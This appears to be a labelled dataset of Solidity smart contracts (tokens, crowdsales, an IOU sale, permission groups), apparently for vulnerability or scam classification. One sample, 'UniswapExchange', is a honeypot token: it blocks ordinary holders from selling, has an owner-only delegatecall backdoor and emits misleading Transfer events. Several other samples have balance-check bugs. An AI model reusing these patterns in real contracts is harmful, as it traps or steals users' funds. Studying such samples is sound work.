return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 462 |
pragma solidity 0.4.18;
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract WhiteListInterface {
function getUserCapInWei(address user) external view returns (uint userCapWei);
}
contract WhiteList is WhiteListInterface, Withdrawable {
uint public weiPerSgd;
mapping (address=>uint) public userCategory;
mapping (uint=>uint) public categoryCap;
function WhiteList(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
function getUserCapInWei(address user) external view returns (uint userCapWei) {
uint category = userCategory[user];
return (categoryCap[category] * weiPerSgd);
}
event UserCategorySet(address user, uint category);
function setUserCategory(address user, uint category) public onlyOperator {
userCategory[user] = category;
UserCategorySet(user, category);
}
event CategoryCapSet (uint category, uint sgdCap);
function setCategoryCap(uint category, uint sgdCap) public onlyOperator {
categoryCap[category] = sgdCap;
CategoryCapSet(category, sgdCap);
}
event SgdToWeiRateSet (uint rate);
function setSgdToEthRate(uint _sgdToWeiRate) public onlyOperator {
weiPerSgd = _sgdToWeiRate;
SgdToWeiRateSet(_sgdToWeiRate);
}
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
} | 1 | 2,292 |
pragma solidity ^0.4.11;
contract ERC20 {
function transfer(address _to, uint _value);
function balanceOf(address _owner) constant returns (uint balance);
}
contract IOU {
mapping (address => uint256) public iou_purchased;
mapping (address => uint256) public eth_sent;
uint256 public total_iou_available = 52500000000000000000000;
uint256 public total_iou_purchased;
uint256 public total_iou_withdrawn;
uint256 public price_per_eth = 160;
ERC20 public token = ERC20(0xB97048628DB6B661D4C2aA833e95Dbe1A905B280);
address seller = 0xB00Ae1e677B27Eee9955d632FF07a8590210B366;
bool public halt_purchases;
modifier pwner() { if(msg.sender != seller) throw; _; }
function withdrawTokens() pwner {
token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn));
}
function haltPurchases() pwner {
halt_purchases = true;
}
function resumePurchases() pwner {
halt_purchases = false;
}
function updateAvailability(uint256 _iou_amount) pwner {
if(_iou_amount < total_iou_purchased) throw;
total_iou_available = _iou_amount;
}
function updatePrice(uint256 _price) pwner {
price_per_eth = _price;
}
function paySeller() pwner {
if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw;
halt_purchases = true;
seller.transfer(this.balance);
}
function withdraw() payable {
if(block.number > 4199999 && iou_purchased[msg.sender] > token.balanceOf(address(this))) {
uint256 eth_to_refund = eth_sent[msg.sender];
if(eth_to_refund == 0 || iou_purchased[msg.sender] == 0) throw;
total_iou_purchased -= iou_purchased[msg.sender];
eth_sent[msg.sender] = 0;
iou_purchased[msg.sender] = 0;
msg.sender.transfer(eth_to_refund);
return;
}
if(token.balanceOf(address(this)) == 0 || iou_purchased[msg.sender] > token.balanceOf(address(this))) throw;
uint256 iou_to_withdraw = iou_purchased[msg.sender];
if(iou_to_withdraw == 0) throw;
iou_purchased[msg.sender] = 0;
eth_sent[msg.sender] = 0;
total_iou_withdrawn += iou_to_withdraw;
token.transfer(msg.sender, iou_to_withdraw);
}
function purchase() payable {
if(halt_purchases) throw;
if(msg.value == 0) throw;
uint256 iou_to_purchase = price_per_eth * msg.value;
if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw;
iou_purchased[msg.sender] += iou_to_purchase;
eth_sent[msg.sender] += msg.value;
total_iou_purchased += iou_to_purchase;
}
function () payable {
if(msg.value == 0) {
withdraw();
}
else {
purchase();
}
}
} | 0 | 328 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
address public ownerCandidat;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
ownerCandidat = newOwner;
}
function confirmOwnership() onlyOwner {
require(msg.sender == ownerCandidat);
owner = msg.sender;
}
}
contract BurnableToken is StandardToken, Ownable {
function burn(uint256 _value) public onlyOwner {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract MettaCoin is BurnableToken {
string public constant name = "TOKEN METTACOIN";
string public constant symbol = "METTACOIN";
uint32 public constant decimals = 18;
uint256 public constant initialSupply = 300000000 * 1 ether;
function MettaCoin() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
MettaCoin public token = new MettaCoin();
uint public start;
uint public period;
uint public rate;
uint public softcap;
uint public availableTokensforPreICO;
uint public countOfSaleTokens;
uint public currentPreICObalance;
uint public refererPercent;
mapping(address => uint) public balances;
address public managerETHaddress;
address public managerETHcandidatAddress;
uint public managerETHbonus;
function Crowdsale() {
rate = 220000000000000;
start = 1510272000;
period = 1;
softcap = 440000000000000;
availableTokensforPreICO = 8895539 * 1 ether;
currentPreICObalance = 0;
countOfSaleTokens = 0;
refererPercent = 15;
managerETHaddress = 0x0;
managerETHbonus = 220000000000000;
}
function setPreIcoManager(address _addr) public onlyOwner {
require(managerETHaddress == 0x0) ;
managerETHcandidatAddress = _addr;
}
function confirmManager() public {
require(msg.sender == managerETHcandidatAddress);
managerETHaddress = managerETHcandidatAddress;
}
function changeManager(address _addr) public {
require(msg.sender == managerETHaddress);
managerETHcandidatAddress = _addr;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier issetTokensForSale() {
require(countOfSaleTokens < availableTokensforPreICO);
_;
}
function getEndDate1() returns (uint){
return start + period * 1 days;
}
function getENow() returns (uint){
return now;
}
function TransferTokenToIcoContract(address ICOcontract) public onlyOwner {
require(now > start + period * 1 days);
token.transfer(ICOcontract, token.balanceOf(this));
token.transferOwnership(ICOcontract);
}
function refund() public {
require(currentPreICObalance < softcap && now > start + period * 1 days);
msg.sender.transfer(balances[msg.sender]);
balances[msg.sender] = 0;
}
function withdrawManagerBonus() public {
if(currentPreICObalance > softcap && managerETHbonus > 0){
managerETHaddress.transfer(managerETHbonus);
managerETHbonus = 0;
}
}
function withdrawPreIcoFounds() public onlyOwner {
if(currentPreICObalance > softcap) {
uint availableToTranser = this.balance-managerETHbonus;
owner.transfer(availableToTranser);
}
}
function bytesToAddress(bytes source) internal returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function buyTokens() issetTokensForSale saleIsOn payable {
uint tokens = msg.value.mul(1 ether).div(rate);
if(tokens > 0) {
address referer = 0x0;
uint bonusTokens = 0;
if(now < start.add(7* 1 days)) {
bonusTokens = tokens.mul(45).div(100);
} else if(now >= start.add(7 * 1 days) && now < start.add(14 * 1 days)) {
bonusTokens = tokens.mul(40).div(100);
} else if(now >= start.add(14* 1 days) && now < start.add(21 * 1 days)) {
bonusTokens = tokens.mul(35).div(100);
} else if(now >= start.add(21* 1 days) && now < start.add(28 * 1 days)) {
bonusTokens = tokens.mul(30).div(100);
}
tokens = tokens.add(bonusTokens);
if(msg.data.length == 20) {
referer = bytesToAddress(bytes(msg.data));
require(referer != msg.sender);
uint refererTokens = tokens.mul(refererPercent).div(100);
}
if(availableTokensforPreICO > countOfSaleTokens.add(tokens)) {
token.transfer(msg.sender, tokens);
currentPreICObalance = currentPreICObalance.add(msg.value);
countOfSaleTokens = countOfSaleTokens.add(tokens);
balances[msg.sender] = balances[msg.sender].add(msg.value);
if(availableTokensforPreICO > countOfSaleTokens.add(tokens).add(refererTokens)){
if(referer !=0x0 && refererTokens >0){
token.transfer(referer, refererTokens);
countOfSaleTokens = countOfSaleTokens.add(refererTokens);
}
}
} else {
msg.sender.transfer(msg.value);
}
}else{
msg.sender.transfer(msg.value);
}
}
function() external payable {
buyTokens();
}
} | 1 | 3,660 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,165 |
pragma solidity ^0.4.18;
interface token {
function transfer(address receiver, uint amount) external;
}
contract BobcoinPromotion {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor (
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint miliEtherCostOfEachToken,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = miliEtherCostOfEachToken * 0.00005 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * 10**18 / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 1,992 |
contract TokenInterface {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _amount);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount);
mapping (address =>
uint256) balances;
mapping (address =>
mapping (address =>
uint256)) allowed;
uint256 public totalSupply;
function balanceOf(address _owner)
constant
returns (uint256 balance);
function transfer(address _to, uint256 _amount)
returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount)
returns (bool success);
function approve(address _spender, uint256 _amount)
returns (bool success);
function allowance(address _owner, address _spender)
constant
returns (uint256 remaining);
}
contract Spork is TokenInterface {
address constant TheDAO = 0xbb9bc244d798123fde783fcc1c72d3bb8c189413;
event Mint(
address indexed _sender,
uint256 indexed _amount,
string _lulz);
string public name = "Spork";
string public symbol = "SPRK";
string public version = "Spork:0.1";
uint8 public decimals = 0;
function () {
throw;
}
function mint(uint256 _amount, string _lulz)
returns (bool success) {
if (totalSupply + _amount <= totalSupply)
return false;
if (!TokenInterface(TheDAO).transferFrom(msg.sender, this, _amount))
return false;
balances[msg.sender] += _amount;
totalSupply += _amount;
Mint(msg.sender, _amount, _lulz);
return true;
}
function transfer(address _to, uint256 _amount)
returns (bool success) {
if (balances[_to] + _amount <= balances[_to])
return false;
if (balances[msg.sender] < _amount)
return false;
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount)
returns (bool success) {
if (balances[_to] + _amount <= balances[_to])
return false;
if (allowed[_from][msg.sender] < _amount)
return false;
if (balances[msg.sender] < _amount)
return false;
balances[_to] += _amount;
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner)
constant
returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _amount)
returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)
constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 2,605 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AdvisorWallet {
using SafeMath for uint256;
struct Advisor {
uint256 tokenAmount;
uint withdrawStage;
}
ERC20 public tokenContract;
uint256 public totalToken;
address public creator;
bool public allocateTokenDone = false;
mapping(address => Advisor) public advisors;
uint public firstUnlockDate;
uint public secondUnlockDate;
event WithdrewTokens(address _tokenContract, address _to, uint256 _amount);
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
constructor() public {
creator = msg.sender;
tokenContract = ERC20(creator);
firstUnlockDate = now + (6 * 30 days);
secondUnlockDate = now + (12 * 30 days);
}
function() payable public {
revert();
}
function setAllocateTokenDone() internal {
require(!allocateTokenDone);
allocateTokenDone = true;
}
function addAdvisor(address _memberAddress, uint256 _tokenAmount) internal {
require(!allocateTokenDone);
advisors[_memberAddress] = Advisor(_tokenAmount, 0);
totalToken = totalToken.add(_tokenAmount);
}
function allocateTokenForAdvisor() external onlyCreator {
addAdvisor(0xf8E2d6a822f70c5c5788fa10f080810a8579d407, 2000000 * (10 ** 18));
